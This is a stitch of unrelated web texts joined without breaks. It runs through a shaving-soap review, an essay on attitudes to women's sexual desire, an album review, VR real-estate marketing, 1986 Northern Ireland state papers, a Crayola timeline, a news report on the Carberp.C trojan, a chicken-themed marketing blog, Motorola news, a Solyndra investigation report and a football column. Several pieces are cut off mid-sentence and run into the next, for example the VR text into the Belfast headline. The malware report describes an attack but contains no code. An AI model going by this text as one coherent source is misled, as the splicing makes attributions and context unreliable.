If my DL expires in 2018, it’s OK b/c feds have already certified DC’s process for complying w REAL ID.”Red Leaf is a shaving soap which, judging by the ingredient listing, is at least partially based upon a melt-and-pour base. That having been said, I think it’s at least on par with one the best melt and pours that I’ve used before, such as Elvado, or Honeybee Soaps.
I didn’t find too much of an issue finding the right amount of water for use with this soap. I do know I sometimes have issues with that with soaps sticks, or cubes I guess, given that it’s a bit harder to control the amount of water you’re using when it’s not being added directly into a bowl or scuttle. But this stuff seemed to be fairly tolerant to different levels of moisture. It provided a good balance of glide and lubrication, and some decent moisturization to boot.
They describe their scent as follows:
The scent of warm toasted tea leaves, Black Tea is a slightly smoky, sexy, and warm scent with a woody natural smell with notes of Sage and Sandalwood.
I suppose that seems reasonably accurate; it’s definitely smoky and warm. I wouldn’t really say that it smells all that much like Black Tea itself, but it’s definitely in the same vicinity. I rather do like it. The strength could use some bumping up; it’s still noticeable, but definitely not strongly so when lathered up and applied to the face.
9/10 Scent Pleasantness
7/10 Scent Strength
8/10 Lather Quality
All told, I think I’m willing to round this one up to an 8/10.
Cost: I got this from MenEssentials, where the 100 g cube goes for $10. Red Leaf also has sample sizes available on their website. I’ll note here that the sample sizes are the same formulation as the cubes; however I’ve confirmed with the owner of Red Leaf that the “travel containers”, the 3.5 oz jars of soap, they are a slightly different formulation from the cubes or the samples, so I make no promises that the performance would match what I’ve outlined here.
Gear used:
Brush: Wee Scott
Razor: 1966 Solid Nickel Gillette Tech
Blade: Shark Super Stainless
Ingredients: Ingredients: coconut oil, sustainable palm oil, castor oil, safflower oil, vegetable glycerin, purified water, sodium hydroxide, sorbitan oleate, soybean protein, wheat protein, fragrance
AdvertisementsPeople have been waging wars since the dawn of civilization. These never-ending struggles have people clash over ideas, concepts, and identities that cannot and will not be resolved. Some of these conflicts have literally reshaped society and the world we live in. They are a fundamental, and at times inescapable, part of civilization.
Then, there are the subtle, less obvious wars that we never win, but insist on fighting. These wars rarely have epic battles or iconic names like Waterloo, D-Day, or Super Bowl XLII. On some level, we know these wars can’t be won. We know we inflict a lot of collateral damage by fighting them. We’ve just been doing it for so long that we don’t know how not to fight it.
The war, in this case, involves horny women. Yes, that’s a war too. I know I dedicated an entire post to documenting the war on horny men. Even though I am a man with functioning genitals and a healthy sex drive, I don’t deny that women experience plenty of horniness, as well. I also don’t deny that those same women have endured a war that has spanned generations, cultures, and rap battles.
Despite not being a woman, I think it’s important to touch on that struggle, especially since recent scandals and trends in our sexual culture have taken the war to uncharted territory for both genders. For women, in particular, the conflict is far different from the one they’re used to fighting.
Anyone who has studied history, or just listened to Pat Robertson for more than five minutes, understands that civilization hasn’t exactly been kind to the female libido. For a good chunk of human history, a horny woman had exceedingly limited options.
If they weren’t having sex with their husband, who they probably didn’t even choose, then they weren’t having much sex. For the most part, a man could get away with having a few mistresses or seeing a prostitute every now and then. If a woman dared stray from her wifely duties, though, the punishments were severe.
Even today, a woman sleeping around on her husband is dangerous in some parts of the world. Even when it doesn’t get you killed, it can ruin your life in many other ways that men rarely deal with. It’s not fair. It’s certainly not in line with notions of gender equality. That’s the problem with wars, though. Things like logic, justice, and compassion are the first to go.
Why is this war even being fought in the first place, though? Moreover, why are women dealing with a different war than men? Well, there are many answers to that question and most of them will piss off most feminists, egalitarians, or people who just value any semblance of fairness.
I’ve touched on it before, to some extent, but the foundation for the war on horny women has its roots in a mix of biology and economics. Humans are a sexually dimorphic species in that each gender bears distinct traits that set them apart, beyond the presence or absence of certain organs. However, the trait that most distinguishes women is their ability to have children.
It’s a beautiful, but critical skill that any species needs to survive. A great deal of energy goes into giving incentives for humans to make babies and some of those incentives are pretty damn powerful. However, because of the biology involved, there are circumstances that set a horny woman apart from a horny man.
In terms of raw numbers, horny women are at a evolutionary disadvantage. No matter how horny they are or how much sex they have, they can only bear one or a few children at the same time over the course of nine months. Men, on the other hand, can impregnate dozens of women and sire a much larger volume of offspring.
From an evolutionary perspective, it’s like one person has a butter knife and the other has a machine gun. One tool is just inherently better at doing more damage. Now, if men and women are living in some hippie commune where nobody cares about which kid belongs to who and nobody has to deal with messy child custody hearings, then a horny woman doesn’t have much issues.
Unfortunately, hippie communes are few, far between, and prone to poor hygiene and clogged toilets. Much of our civilization was built on complex, hierarchical societies that required men to work the fields, women to care for children, and a certain assurance that the kids you had were yours.
Before the days of Maury Povich, though, the only way to be sure of that was to be sure that a woman was faithful from her wedding night onward. Since people rarely trust the horniness of their spouses or the men who may seduce them, this led to traditions and taboos that demanded modesty and subjugation for women.
It didn’t matter how horny or sexually unsatisfied they were. From the perspective of society, it was more important that these women remained “untainted” so that men could be sure their kids were legitimate and there were no nasty diseases, a common problem that plagued ancient societies to no end. It wasn’t as much a war of misogyny as it was a war of practicality.
Even after we learned to treat disease, control conception, and test for paternity, the idea of a horny woman is still taboo. There are some that even claim that promiscuous women bring down entire civilizations. These are not claims that anyone should take seriously, but they do reflect the ongoing struggles of this war.
The idea of a woman being horny, sexual, and feeling no shame about it just seems wrong to many people. They see that and they see an affront to how they believe society should work. Never mind the fact that society is always changing and technology promises to accelerate that change. We, men and women alike, are still stuck in this war-like mentality when it comes to horny women.
It often manifests in subtle ways. Watch any slasher movie, sitcom, or poorly-scripted reality show and you’ll see a similar theme. The horny, promiscuous women are the villains. They are an evil, corruptive force that undermines all that is good and noble. Why else would Regina George be so easy to despise?
Beyond the media, female horniness is often presented as something that has to be contained and hidden. Unlike men, who are expected to fight the wars and work the fields, the standards for women are different. A “good woman” is someone who doesn’t sleep around, flash her tits, or show off her thong to an entire basketball team. A “good woman” stays home, has babies, and dresses in a way that doesn’t attract horny men.
That’s why modesty is conveyed as such a virtue for women, but not so much for men. That’s also why exceedingly repressive societies segregate women from men. The possibility that someone might get horny and might act on that horniness is seen as a bomb going off in house full of puppies. It’s just that terrifying.
However, despite this centuries-old war, ripe with traditions and taboos, women still get horny. Women still want to have sex and not just to make babies, but to enjoy the toe-curling pleasure that comes along with it. No amount of modesty, shame, or scorn can stop it. That says a lot about the strength of horny women. As an aspiring erotica/romance writer, I can’t help but admire that.
As much an optimist I am, at heart, I don’t see the war ending anytime soon. Like the war against horny men, certain taboos and insecurities still linger. Some are cracking, though. Just recently, Mayim Bialik from “The Big Bang Theory,” generated a lot of criticism for daring to claim that women should dress more modestly in order to avoid harassment, as though horny men aren’t that determined.
Naturally, albeit unfairly, she got accused of blaming the victim for the misdeeds of horny men. The idea that horny women are somehow responsible for crimes committed against them is rightfully absurd, but the notion that horny women need to contain themselves while some men can still push the boundaries is beyond absurd.
As I said at the beginning, the basis of the war on horny women is neither fair nor logical. Compared to the war on horny men, though, it’s just unfair and illogical in a very different way. There reasons and justifications for the war are changing and will likely continue to change, especially as certain medical advancements emerge.
Whatever the change, though, the war will continue to rage. Horny women will still be considered this taboo force of chaos that could potentially undermine the whole of society. This may be a taboo that’s impossible to break, but that may not matter much in the long run.
No matter how the war is fought, whether by religious dogma or excessive shaming, it won’t turn off that fundamental drive to make love or to enjoy good orgasm. In the long run, the horny women will win, if only because the horny men will want to hang out with them more. I’m not one to take sides in a war, but if my sexy novels can act as battle cries, I’m happy to do my part.Quick Access
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Stars That Move are back, this time heavier and darker than ever!
Stars That Move is a band from Georgia (US) which consists of ex-Starchild members Ric Bennett (guitars, bass and vocals) and Frank Sikes (drums) alongside Ric’s wife Elisa Maria Moreno (vocals). The band plays a strong mix of Doom Metal, Stoner Rock, Psychedelic and Dream Pop. Active for the last couple of years, the band released their debut self-titled EP in 2015, showing their potential between the emerging bands of the heavy underground scene.
For their second album, the band delivers a heavier and darker sound, showing a stronger musicianship and some of the best vocal works of 2016 so far. Another point in favor of the album is the artwork of Barla Horn, a beautiful design full of details that cries loud for a vinyl release in the near future to fully appreciate it.
How is the sound?
“The Devil’s Fountain” opens this release with some haunting guitar riffs and thunderous drums. Behind the instruments emerge powerful vocals trying to create an ethereal and misty mood. With a vocal performance that reminds me of Elizabeth Fraser (Cocteau Twins) and Hope Sandoval (Mazzy Star) but with a heavier and darker atmosphere, I can only think of a new musical subgenre in the heavy scene: Dream Doom. That’s right, for me Stars That Move plays Dream Doom!
“Witchtower” is a song full of references to the early Doom Metal American scene, specifically to Pentagram and the guitar work of Victor Griffin. I really enjoyed the bass work that Ric did on this one. “Castles” is another song that benefits from Elisa Maria’s pipes, the vocals are more trippy and psychedelic and Ric’s guitar tone reminds me of the early heavy bands, like Blue Cheer, Blue Öyster Cult, among others, for which the listener its transported directly to 1969-1970.
“Lost Beyond The Stars” is the more melodic song of the album, with some beautiful twin guitar arrangements thanks to Ric’s work. “Burning Village” is a doom metal feast, slow, downtuned, somber, with reminiscent to early Black Sabbath or American doomsters Saint Vitus. To keep things Sabbatesque, “Oh, Sharon” is another tribute to the “Riff Master” Mr. Iommi, a song that benefits not only of the strong musicianship but of the good lyrics and the heartfelt with which Elisa Maria sings.
“TV Dinners” caught me by surprise, because I wasn’t expecting a ZZ Top’s cover, and I must say the band did an excellent work adding their own sound without losing the essence of the original. It’s a very good song that fits with the album’s general mood. The album comes to an end with “People Of The Sea”, a song with bluesy and boogie vibe, which recalls to The Doors “L.A. Woman” days. Also is a song that allows Frank to hit the drums in a very powerful way. For me, it’s a perfect one to close a magnificent album.
After listening to this album carefully, I can tell you without any doubt, that Stars That Move sophomore release is gonna be one of the best albums of 2016.
Why is this album worth listening?
The band offers a unique proposal, thanks to the combination of the heavy and slow riffs of classic Doom Metal with the ethereal vocal performances of Dream Pop bands.
If you’re a fan of Starchild, you’ll love what Ric and Frank are doing with Elisa Maria with their new band.
Elisa Maria delivers one of the strongest vocals of 2016 so far.
In what situation you should listen to this album?
Chilling with your date at the cemetery.
In your living room, relaxing with your favorite beverage while you enjoy the ride.
Banging your head while watching the band perform at your local bar.
Something particular to note?
You can buy the cd with a poster with the album’s artwork at Twin Earth Records Bandcamp profile. If you like a t-shirt with the album’s artwork, then the Twin Earth Records Storenvy is the place for you to go.BI Intelligence forecasts shipments of VR headsets to spike by 1047% year-over-year (YoY) to 8.2 million in 2016. This growth will help propel the virtual reality space to exceed $1 billion in revenue for the first time, according to research by Deloitte. Powering that growth is an estimated 271% increase in investment in VR companies from 2015, according to estimates from CB Insights.
As Wall Street tries to calculate the possible impact on a number of industries, Goldman Sachs Group has put forth some charts laying out its assumptions for what it believes will be an $80 billion market by 2025., with an estimated 2.4 Billion being attributed to the real estate industry. Property owners and development companies are using virtual reality to plan, manage and then market projects, and in other cases, new startups are popping up to handle that process.
1. Owner/Developers can Lease spaces faster
When you have availability in your assets, your goal is to lease it and lease it fast. Virtual Reality let’s you cut down on the back and forth with architects by putting test-fit and space planning tools in the hands of your leasing team. Tenants that are better informed about a space can move faster to a decision and faster to a lease. One of the best features is the ability to turn 2D test fits into 3D interactive models which can be viewed and explored on any web browser or virtual reality headset like the Google Day Dream or Samsung GearState papers: DUP MP William McCrea wanted air strikes launched on the Republic in the 1980s BelfastTelegraph.co.uk A firebrand DUP MP urged the British Government to launch air strikes on the Irish Republic in the 1980s. https://www.belfasttelegraph.co.uk/news/northern-ireland/state-papers-dup-mp-william-mccrea-wanted-air-strikes-launched-on-the-republic-in-the-1980s-30867020.html https://www.belfasttelegraph.co.uk/incoming/article30867206.ece/4c92b/AUTOCROP/h342/OCRATIC%20UNIONI.jpg
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A firebrand DUP MP urged the British Government to launch air strikes on the Irish Republic in the 1980s.
William McCrea also called for bombing raids on republican strongholds in Northern Ireland.
Rev McCrea wanted "Libyan-type strikes" against Dundalk, Drogheda, Crossmaglen and Carrickmore.
He made the call in April 1986, just days after the US government had unleashed air raids on Col Gaddafi's regime.
The extraordinary demand is discussed in previously classified government papers.
The documents, held by the Public Record Office, are released today under the 30-year rule.
One memo reports on the DUP annual conference in Belfast on April 19, 1986.
Noel Cornick, an official at the NIO's Political Affairs Division, wrote that staff from the division had not been welcome at the conference.
His briefing paper appears to be based on a mixture of press reports and gossip from party insiders.
It reports: "Rev William McCrea urged Libya-type strikes against Dundalk, Drogheda, Crossmaglen and Carrickmore."
The memo notes that another senior DUP member, Gregory Campbell, made an "extravagant contribution" when he called for "even the foundations of Maryfield to be demolished".
Maryfield was the Belfast base for officials from the Republic's Department of Foreign Affairs.
They worked as a permanent secretariat for the Anglo-Irish Intergovernmental Conference, a consultative body established after the Anglo-Irish Agreement of 1985.
However, the presence of civil servants from the Republic incensed unionists.
The conference report also noted that DUP opposition to the Agreement remained "as strong as ever, if not stronger".
The main speech was given by Peter Robinson, in which he outlined two alternative solutions - negotiation or confrontation.
He said the latter would be "devastating, terrible and bloody".
Rev McCrea's calls for air strikes appeared to be inspired by the US raids on Libya four days previously.
At least 100 people died after planes bombed targets in the capital Tripoli and the Benghazi region.
Over 60 American jets, some of them flying from British bases, attacked key military sites.
Colonel Gaddafi's residential compound took a direct hit that killed Hanna Gaddafi, the adopted baby daughter of the Libyan leader.
US President Ronald Reagan justified the attacks by accusing Libya of direct responsibility for terrorism aimed at America.
Rev McCrea, a Gospel singing Free Presbyterian minister, is known for his hardline views.
He served as DUP MP for Mid-Ulster between 1983 and 1997, and has been MP for South Antrim since 2000.
In 1996 he was criticised after sharing a platform at a Portadown rally with LVF leader Billy Wright.
1986 State Papers in brief
Challenger horror and royal wedding
It was a year which brought the Challenger space shuttle disaster, a royal wedding and economic woes. Clo |
colors—Maize, Raw Umber, Lemon Yellow, Blue Gray, Orange Yellow, Orange Red, Green Blue and Violet Blue—are retired into the Crayola Hall of Fame in Easton, Pennsylvania. 16 new colors were introduced including Cerulean, Dandelion (later retired in 2017), Electric Lime, Fuchsia, Hot Magenta, Jungle Green, Magic Mint (later retired in 2003), Neon Carrot, Purple Pizzazz, Radical Red, Royal Purple, Sunglow, Unmellow Yellow, Vivid Tangerine, Teal Blue (later retired in 2003), and Wild Strawberry. There are now 80 colors in the biggest box of crayons. Crayola also introduces Silver Swirls crayons, a pack of 24 silvery colors. Various colors were renamed: Ultra Yellow was renamed Atomic Tangerine, Ultra Blue was renamed Blizzard Blue (retired in 2003), Chartreuse was renamed Laser Lemon, Ultra Orange was renamed Outrageous Orange, Hot Magenta (I) was renamed Razzle Dazzle Rose, Ultra Green was renamed Screamin' Green, Ultra Pink was renamed Shocking Pink, and Ultra Red was renamed Wild Watermelon. Emerson Moser, then Crayola's most senior crayon moulder, retired after 37 years. After moulding approximately 1.4 billion crayons, he revealed that he is actually blue–green color blind. [1]
1991: The eight retired crayon colors are put into tins with a 64 count box for a limited time. Crayola Washable crayons are introduced.
1992: Crayola introduces Model Magic, a modeling compound, into its long line of products. Crayola releases the 8 pack of multicultural crayon colors.
1993: Binney & Smith celebrates the Crayola brand's 90th birthday with its biggest crayon box ever, as there are now 96 colors in the biggest box of crayons, including 16 new colors. For the first time, the company asks consumers to name the colors through the Crayola Name the New Colors Contest : the winning names include Asparagus, Cerise, Denim, Granny Smith Apple, Macaroni and Cheese, Pacific Blue, Purple Mountain's Majesty, Razzmatazz, Robin's Egg Blue, Shamrock, Tickle Me Pink, Timberwolf, Tropical Rain Forest, Mauvelous, Tumbleweed, and Wisteria. Color Wonder products debuted; Hot Fluorescent crayon boxes (8 and 16) are renamed Neons.
Binney & Smith celebrates the Crayola brand's 90th birthday with its biggest crayon box ever, as there are now 96 colors in the biggest box of crayons, including 16 new colors. For the first time, the company asks consumers to name the colors through the Crayola : the winning names include Asparagus, Cerise, Denim, Granny Smith Apple, Macaroni and Cheese, Pacific Blue, Purple Mountain's Majesty, Razzmatazz, Robin's Egg Blue, Shamrock, Tickle Me Pink, Timberwolf, Tropical Rain Forest, Mauvelous, Tumbleweed, and Wisteria. Color Wonder products debuted; Hot Fluorescent crayon boxes (8 and 16) are renamed Neons. 1994: Crayola introduces Gem Tones and a scented version of crayons called Magic Scents Crayons.
Crayola introduces Gem Tones and a scented version of crayons called Magic Scents Crayons. 1995: Crayola introduces Changeables. Crayola changes some of the scents in Magic Scent crayons due to complaints of their smelling good enough to eat (e.g. Cherry, Chocolate, Blueberry)
1996: The 100 billionth Crayola crayon rolls off the production line in Easton. The wax for that crayon was poured by Mister Rogers. [2] On July 16, Binney & Smith celebrates the grand opening of The Crayola Factory visitors' center in Easton with the Crayola ColorJam parade.
1997: All Crayola products receive new logo design for the year. Crayola introduces Color Mix-up, Pearl Brite, Crayons with Glitter and Star Brite. 12 new colors are introduced including Caribbean Green, Pink Flamingo, Sunset Orange, True Blue Heroes Crayon Color #1 (later Outer Space), True Blue Heroes Crayon Color #2 (later Mountain Meadow), True Blue Heroes Crayon Color #3 (later Fuzzy Wuzzy Brown then Fuzzy Wuzzy), True Blue Heroes Crayon Color #4 (later Brink Pink then Pink Sherbert), True Blue Heroes Crayon Color #5 (later Shadow), True Blue Heroes Crayon Color #6 (later Banana Mania), True Blue Heroes Crayon Color #7 (later Torch Red then Scarlet) True Blue Heroes Crayon Color #8 (later Purple Heart) and Vivid Violet.
1998: The Crayola 64 Box is reintroduced in its original packaging, complete with built-in sharpener. A 1958 Crayola 64 Box becomes part of the Smithsonian Institution's National Museum of American History. The True Blue Heroes colors got their actual color names. 12 new colors are introduced including Almond, Antique Brass, Beaver, Blue Bell, Canary, Cotton Candy, Cranberry (later Blush), Desert Sand, Eggplant, Fern, Manatee, and Piggy Pink. There are now 120 colors in the biggest box of crayons. The Crayola 12 pack of Twistable Colored Pencils is released. The Crayola 8 pack of Silly Scents Colored Pencils is released.
1999: For the third time in Crayola history a crayon is renamed because of social concerns. Indian red becomes "chestnut" because teachers reported that schoolchildren often wrongly perceived the color to be the skin color of Native Americans. The name in fact did not refer to Native Americans, but to a pigment produced in India and used in oil paints. Another crayon color—Thistle—is retired into the Crayola Hall of Fame, totaling 45 retired colors and replaced by newcomer Indigo. There are still 120 colors available. Torch Red is renamed Scarlet.
2001: Crayola introduces Metallic FX Crayons and Gel FX crayons.
Crayola introduces Metallic FX Crayons and Gel FX crayons. 2002: Crayola introduces Glitter Crayons. Crayola introduces the Crayon Maker.
2003: Four more crayon colors—Blizzard Blue, Magic Mint, Mulberry, and Teal Blue—are retired into the Crayola Hall of Fame, totaling 49 retired colors and replaced by Inchworm, Jazzberry Jam, Mango Tango, and Wild Blue Yonder. There are still 120 colors available.
Four more crayon colors—Blizzard Blue, Magic Mint, Mulberry, and Teal Blue—are retired into the Crayola Hall of Fame, totaling 49 retired colors and replaced by Inchworm, Jazzberry Jam, Mango Tango, and Wild Blue Yonder. There are still 120 colors available. 2004: Crayola introduces the 24 color set of mini twistable crayons. Crayola introduces the 24 set of Fun Effects mini twistable crayons containing 8 regular colors, 8 rainbow colors, and 8 eXtreme colors.
2005: Cranberry is renamed Blush and Brink Pink is renamed Pink Sherbert.
2006: Crayola introduces Heads n' Tails Crayons. The Crayola 150-count Telescoping Crayon Tower is released.
2007: On January 1, Binney & Smith is renamed to Crayola LLC, to improve Crayola branding as part of Hallmark. Crayola introduces Silly Scents and True To Life Crayons.
2008: The Crayola 18 pack vibrant set of Twistable Colored Pencils is released. The Crayola 64 pack of short colored pencils is released. Crayola introduces the Kids Choice Crayons.
2009: Crayola introduces Extreme Twistables Colors. The Crayola 30 pack of Twistable Colored Pencils is released.
2011: The Crayola Solar Farm is completed and included more than 30,000 solar panels producing 3 megawatts of electricity. The solar panels generate enough electricity to produce 1 billion crayons and 500 million markers per year. The Crayola 12 pack of Ultra Cool and Super Hot colored pencils is released.
2013: Crayola introduces the marker maker
Crayola introduces the marker maker 2014: Crayola introduces Ultra-Clean Washable crayons and markers, featuring ColorMax: "Our brightest, truest colors yet!" Also, The Crayola 152-count Easy-choose container is released
Crayola introduces Ultra-Clean Washable crayons and markers, featuring ColorMax: "Our brightest, truest colors yet!" Also, The Crayola 152-count Easy-choose container is released 2017: The classic "Dandelion" crayon is discontinued into the "Crayola Hall of Fame" "Bluetiful" is introduced as the new color replacing "Dandelion"
See also [ edit ]Australians are being targeted by a new variant of the Carberp malware under what appears to be renewed criminal interest in the antipodes.
The modified trojan, Carberp.C, was spread through a spam operation masquerading as a payment invoice.
Virus writers pushed the malware out a day after coding it, Symantec researcher Roberto Sponchioni said.
"The malware authors obviously didn't waste much time between coding up and releasing," Sponchioni said.
"What's interesting about this Carberp variant is the number of components involved in the attack, which are used to hide the infection and to silently download additional encrypted payloads that are then injected stealthily into processes."
Payloads were downloaded from the command and control server and loaded into memory so it would remain invisible to the victim.
It came as modern malware did in 32 and 64 -bit flavours and could download additional plugins to maintain obscurity.
Sponchioni gained access to the plugin list32.dat which hooked APIs for username and password theft from various web browsers.
The attack was the latest in an uptick in malware attacks against Aussies. Ransomware was the most notable of the cyber crap slung Down Under with a 14-fold increase being reported globally and in Australia.
Last week Trend Micro and Deakin University found that between November 1 and 30 an Australian variant of CryptoLocker scored some 10,000 hits to redirection URLs from likely victims. ®Many of you know that I am a wanna-be farmer. If you add up the various animals we cater too you would find a list that I believe would make Noah proud. Starting in the house we have one Pomeranian, one Yorkiepoo, two cats, and one beta fish. As we venture to the backyard the fun begins with 3 chickens, a family of deer who like to hangout and eat chicken food, an occasional family of turkeys, and whatever other furry critters make their way onto our property – including the neighbors.
One of my favorite things to do when taking care of my little farm is observe my three chickens; Chicken Little, Chicken Nugget, and HENrietta. They are so funny, cute, and creative. Often times I’ll pull up a chair and let the chickens wander around the backyard while I watch them and giggle. Sometimes I feel like I can relate to all those famous pigeon tamers in NYC. While observing my chickens I’ve realized that many of the things they do that make me laugh, smile, or question their motives – can be applied to social media marketing. Below you will find a few things that my little urban farm has taught me about social media marketing.
When in doubt, pluck it out. Everyday my chickens spend a portion of their time stretching their wings, grooming themselves, flapping around, and occasionally plucking out a feather or two. I don’t know if they pluck it because it was irritating them or because they were feeling cannibalistic. All I know is that when I’m working on content for a client if I compose a tweet or status that I think is on the border of offending or giving the wrong message – I delete it. Calm down, I realize that censorship is the death of all things internet and this statement goes against all things cool, edgy, and hip…but pissing off your audience or leaving an offensive status up just to be cool – kills sales. When in doubt, pluck it out. Come back to it later and see what you think. Don’t be scared of the poo, it’s part of life. Recently I advised a friend on his chicken purchase and told him how much I loved having my little flock in the backyard. I told him about the eggs, the clucking, and funny things my chickens do. I assumed since chickens are wild animals he would also understand that chickens poop, pee, dig, and sometimes die. My assumption was wrong when he notified me how frustrated he was with his chickens because they poop a lot and are a lot of work! Shocker chickens poop too??? Poop doesn’t seem to bother my chickens though. In fact when one of them shakes off a doo the other chickens don’t even notice. They pass on by – why? Poop happens. Don’t be scared of the crap you’re going through, it happens. Don’t be scared when Facebook changes again and when another social networks launches – it will happen and you will adapt. When it’s raining look for worms…don’t just complain. Right now it is pouring outside and my chickens are looking for opportunities that the rain brings – worms. Everyone else is complaining that the rain is coming and my chickens are looking for opportunities. Lesson learned. Watch for an open door at all times. To say that Chicken Little is an escape artist would be an understatement. That rascally little bird is always ready to jump ship and scurry out the coop door as soon as it opens. Often times my wife and I have to chase her around the backyard trying to convince her to get back in her run. She is always ready for opportunities and seems to have a plan. Seems like there’s a lesson in there somewhere? Give back and people will love you even more. My chickens poop, peck, bite, fight, dig, smell (sometimes), run, make noise, and disobey – but do you know what they do that makes it all worth it? They give back in the form of yummy, rich eggs that feed my family. How can you give back? At Social Impressions we give back by giving a portion of our income away every month to various nonprofits. What can you do to give back? You’ll be amazed by what you receive in return.
I hope my chicken wisdom has helped shed some light. I’ll end with one final bit of trivia:
On what side does a chicken have the most feathers? The outside. 🙂During a Q&A with a panel of Motorola executives at Mobile World Congress, Motorola executives confirmed that a new Moto X will arrive “late” summer 2014 and that they are working on a new smartwatch that will arrive this year.
The panel features Rich Osterloh, Steve Horowitz, and Mark Randall, and was scheduled to be nothing more than a quick update on the state of Motorola following news that Lenovo would attempt to acquire them. Turns out, they were ready to share plans.
The Moto X was thought very highly of around these parts because of its focus on adding meaningful features to stock Android. If they can continue that idea with a new Moto X, but bump-up a couple of the specs to 2014 standards, it could once again be the phone we can’t stop talking about.
Motorola’s previous smartwatch attempt, on the hand, was not exactly a success. Known as the MotoActv, the watch wanted to be the ultimate fitness tracker, but unfortunately never caught on or received support once Google bought Motorola.
We aren’t sure how they’ll attack the smartwatch industry again, but I’d imagine it’ll be much like how they approached the Moto X. In today’s Q&A session, Rick Osterloh said specifically, “We are working on a watch that will be available this year. We aim to address consumer issues like style & battery life.”
Those are the only details we know about each product at this time, but it’s exactly the type of news that Motorola fans want to hear.
Also, during the interview, Motorola confirmed that MotoMaker will launch in the UK, Germany and Mexico in Q2.
Excited?A top White House adviser received clear notice that solar panel maker Solyndra Inc. faced a “severe liquidity crisis” even before a controversial restructuring allowing investors to recoup money from the now-bankrupt company before taxpayers, documents released Thursday show.
Months after President Obama’s highly publicized tour of Solyndra’s California plant, a federal program manager in December 2010 sent an email to Carol Browner, then director of the White House Office of Energy and Climate Change Policy, and others warning about the company’s troubled financial outlook.
“I’m sure you already know this,” the program manager wrote. “Negotiations are fluid. DOE has shared with us [and Treasury] that Solyndra is in the midst of a severe liquidity crisis.”
The correspondence, disclosed in a lengthy investigative report by Republicans on the House Committee on Energy and Commerce, was just one signal from inside the government that Solyndra faced serious financial trouble even as the company and federal officials hailed it as a poster child for the government’s energy loan program.
But while the Office of Management and Budget staff raised concerns about Solyndra, the office’s director, Jack Lew, now White House chief of staff, didn’t move to block the Department of Energy from approving a restructuring that ultimately would prove costly to taxpayers, according to the report.
One official even questioned whether the restructuring deal violated the Energy Policy Act of 2005 by subordinating the government’s interest in the loan. Under the restructuring, however, investors, including a firm controlled by Obama fundraiser George Kaiser, poured tens of millions of dollars into the company to keep it afloat. But the deal included a condition: Investors would recoup their money before other creditors — even the government — in the case of collapse.
The Republicans criticized the OMB for failing to block the Department of Energy from approving the restructuring.
“OMB emails and documents from the restructuring, as well as committee staff’s interviews with OMB staff, show that OMB failed to carry out its traditional examiner role,” the Republican report concludes.
House Speaker John A. Boehner, Ohio Republican, said in a news briefing Thursday that “Mr. Lew and the White House owe the American people an explanation about why they squandered hundreds of millions in taxpayer dollars.”
The White House and House Democrats criticized the report within hours of its release.
A White House spokesman, Eric Schultz, wrote in an email that “215,000 pages of documents, 14 committee staff briefings, five congressional hearings, 72,000 pages from Solyndra investors and committee interview with George Kaiser affirms what we said on day one: This was a merit-based decision made by the Department of Energy.”
Meanwhile, two leading Democrats on the House Energy and Commerce Committee, Reps. Henry A. Waxman of California and Diana DeGette of Colorado, issued a joint statement on what they called a “partisan, one-sided report” by Republicans.
“The Republican report released today is a political document, not an accurate portrayal of the facts uncovered by the committee in its investigation of the Solyndra loan guarantee,” the lawmakers said in a joint statement.
But Rep. Cliff Stearns, Florida Republican and chairman of the Energy and Commerce Committee’s investigations subcommittee, said the Solyndra probe uncovered what he called a “political saga starring key White House officials and big Obama donors.”
Rep. Fred Upton, Michigan Republican and chairman of the Energy and Commerce Committee, said the review found a “shocking episode where politics was put before taxpayers and integrity was sacrificed for the sake of corporate favoritism.”
Republicans portrayed the report as the most detailed portrait yet into the collapse of a company that once was viewed as a darling of Mr. Obama’s stimulus program only to turn into a big political headache after Solyndra’s bankruptcy.
Even when things looked most promising for the company, money was a constant concern for Solyndra executives and investors, according to the report.
Finances already were so dire in the spring of 2010 as Mr. Obama toured Solyndra that officials began viewing the government not just as a lender, but as a customer big enough to lift the company out of a growing financial hole, according to documents.
The company made its sales pitch directly to Mr. Obama, according to email correspondence unearthed during the congressional probe.
“Getting business from Uncle Sam is a principal element of Solyndra’s channel strategy,” one investor wrote in an email months after Mr. Obama’s May 2010 tour of the company.
The company’s founder, Chris Gronet, “spoke very openly to Obama about the need for installation of Solyndra’s rooftop solar panels on U.S. government buildings,” Tom Baruch, founder of CMEA Capital, an investor, wrote to another Solyndra official.
“I heard Obama actually promise Chris he would look into it when he got back to Washington,” the email said.
“The point is that the government has to pay for energy no matter what. The capital funding to deploy a lot of rooftop solar on government buildings (say $300 million) just falls off the table in Washington anyway.”
The report chronicles Solyndra’s rapid decline, noting that when discussions about a second government loan fell through, the company saw government contracts as a way to stay afloat.
Even when Solyndra closed on its more than $500 million loan with the government in September 2009, the company was scrambling to get more loan money, according to the report.
“The Bank of Washington continues to help us,” Mr. Gronet wrote in an email to a colleague after the loan deal.
But privately, at least one investor was concerned, writing in an email that while Solyndra won a loan of more than $500 million, it had revenues of less than $100 million and wasn’t profitable: “[W]hile that’s good for us, I can’t imagine it’s a good way for the government to use taxpayer money.”
All the while, officials both in the government and the company were publicly praising Solyndra’s prospects.
Last year, The Washington Times reported that months before Solyndra’s collapse, former Department of Energy official Jonathan Silver was insisting that the company was headed in the right direction.
“This is a company that doubled their revenues and essentially doubled them again, year over year,” he said in an April 2011 interview with SNL Renewable Energy Weekly, a trade publication.
But the congressional report paints a different picture, noting that during the same month, the former chief financial officer for the Energy Department, Steve Isakowitz, had emailed a colleague about a meeting he had with Mr. Silver about a report from Solyndra’s auditors on the company’s shaky finances.
While Mr. Silver noted the filing was “expected,” Mr. Isakowitz wrote, “he admitted his monitoring is currently inadequate so he wouldn’t know if things were indeed deteriorating.”
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Harrison Smith’s helmet pivots side to side like a quarterback.
This time, Smith, the leader of the Vikings secondary and one of the NFL’s highest-paid safeties, is looking for affirmation that he’s taken the right place among linebackers. It’s third-and-1, the Titans lead 10-3 and threaten to pad the lead in the third quarter.
He picked the wrong side. The first teammate to notice was Chad Greenway.
“It’s not going to be too exciting,” Smith cautioned of the explanation. “Just reading run and playing football, really not much more to it than that.”
That’s where Smith is numb, the equivalent of Jeff Gordon topping out a Toyota Yaris. There’s a lot packed into what he describes as “reading run,” aside from the physical superiority needed for the “playing” part.
Mental recall of the week’s film study, split-second communication and trust define success for modern NFL defenses, especially one as adaptable as Mike Zimmer’s scheme. Perhaps no safety is smarter and more reliable than Smith, who has made his money off anticipating what offenses are going to do before it’s done.
